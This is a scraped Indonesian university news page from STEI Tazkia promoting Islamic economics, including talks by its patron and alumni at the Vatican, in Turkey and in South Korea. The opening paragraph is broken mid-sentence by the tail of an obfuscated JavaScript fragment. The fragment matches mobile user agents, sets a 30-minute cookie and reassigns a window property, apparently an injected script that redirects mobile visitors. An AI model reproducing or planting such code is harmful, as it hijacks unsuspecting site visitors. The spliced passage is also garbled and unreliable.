Mudah-mudahan kerjasama ini akan terus berlanjut sehingga Tazkia semakin mampu membuktikan diri sebagai kampus pelopor ekonomi syariah yang memiliki jaringan kuat ke Industri. ambp. wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaSinergi Industri Program Study Muamalah STEI Tazkia dengan Karimsyah & Pathners
read more

Dari Vatikan Hingga Turki, STEI Tazkia Berbagi Pengalaman Penerapan Ekonomi Syariah

No comments

Ekonomi Syariah merupakan satu disiplin ilmu yang booming dewasa ini, lebih dari 70 Negara mengembangkan Ekonomi Syariah dengan potensi karir yang mentereng di berbagai belahan dunia. Lebih dari 400 lembaga di dunia menawarkan layanan keuangan syariah.

Kampus STEI Tazkia sebagai kampus pelopor Ekonomi Syariah berperan aktif untuk berbagi pengalaman penerapan keuangan syariah di Indonesia. adalah Dr. Muhammad Syafii Antonio, M.Ec. Pembina Yayasan Tazkia Cendekia mendapat kesempatan mengisi tema pengembangan Ekonomi Syariah di berbagai belahan dunia, termasuk diantaranya di Vatikan sebagai Negara penganut kristiani yang taat. Vatikan tertarik dengan Ekonomi Syariah, karena Ekonomi Syariah senada dengan pelarangan Riba yang juga dilarang dalam Bible, Lukas Pasal 6 ayat 34-35 juga ayat lainnya.

Dr. Muhammad Syafii Antonio, M.Ec. (Pembina STEI Tazkia) Berbagi Pengalaman Penerapan Keuangan Syariah di Universitas Pontifikal Santo Thomas Aquinas, Vatikan

Alumni STEI Tazkia juga telah melanglang buana menyuarakan penerapan keuangan Syariah di Belahan dunia lain. Diantaranya Bazari Azhar, S.E.I. (Alumni Ekonomi Syariah) yang mendapat beasiswa LPDP di Durham University mendapat kesempatan berbagi riset penerapan Keuangan Mikro Syariah Indonesia di Sejong University, Korea Selatan. Mahbubi Ali, P.Hd. (Alumni Bisnis Manajemen Syariah) juga mendapat kehormatan menjadi pemateri bersama Ketua STEI Tazkia Dr. Murniati Mukhlisin, M.Acc. dalam International Conference on Islamic Perspective of Accounting, Finance, Economics and Management (IPAFEMA�2017) di Turki, juga banyak alumni lain yang berkontribusi dalam pengembangan Ekonomi Syariah di Dunia.

Mahbubi Ali (Alumni Bisnis Manajemen Syariah) IPAFEM, Turki

Bazari Azhar (Alumni Ekonomi Syariah) di Sejong University, Korea Selatan

Potensi pengembangan Ekonomi Syariah di dunia terbuka sangat lebar. Dengan karakter keilmuan Ekonomi Syariah yang menuntut penguasaan dua disiplin Ilmu; Ekonomi Umum dan Nilai-Nilai Syariah (Transparansi, Kejujuran, Profesionalism dll). Menjadikan Ekonomi Syariah opsi terbaik masa depan Ekonomi Dunia.

Selain Ekonomi Islam, STEI Tazkia juga memiliki Jurusan Bisnis Manajemen Islam, Akuntasi Islam, Hukum Bisnis Islam, Pendidikan Islam, juga Program Khusus Kerjasama dengan Fakultas Teknik Universitas Indonesia. Dengan berbagai prestasi Tingkat Nasional & Global, Mahasiswa STEI Tazkia juga mengukir banyak pencapaian yang menjadi kebanggan Generasi remaja saat ini.

Dengan semua pilihan jurusan tersebut, diharapkan STEI Tazkia mampu memfasilitasi seluruh mahasiswa STEI Tazkia semakin matang menjadi Pebisnis dan Intelektual Tingkat Global di Kemudian Hari.

Kunjungi web kami spmb.tazkia.ac.id untuk pendaftaran mahasiswa STEI Tazkia dan bergabung mewarnai dunia dengan Ekonomi Syariah.

Rizqi ZakiyaDari Vatikan Hingga Turki, STEI Tazkia Berbagi Pengalaman Penerapan Ekonomi Syariah
read more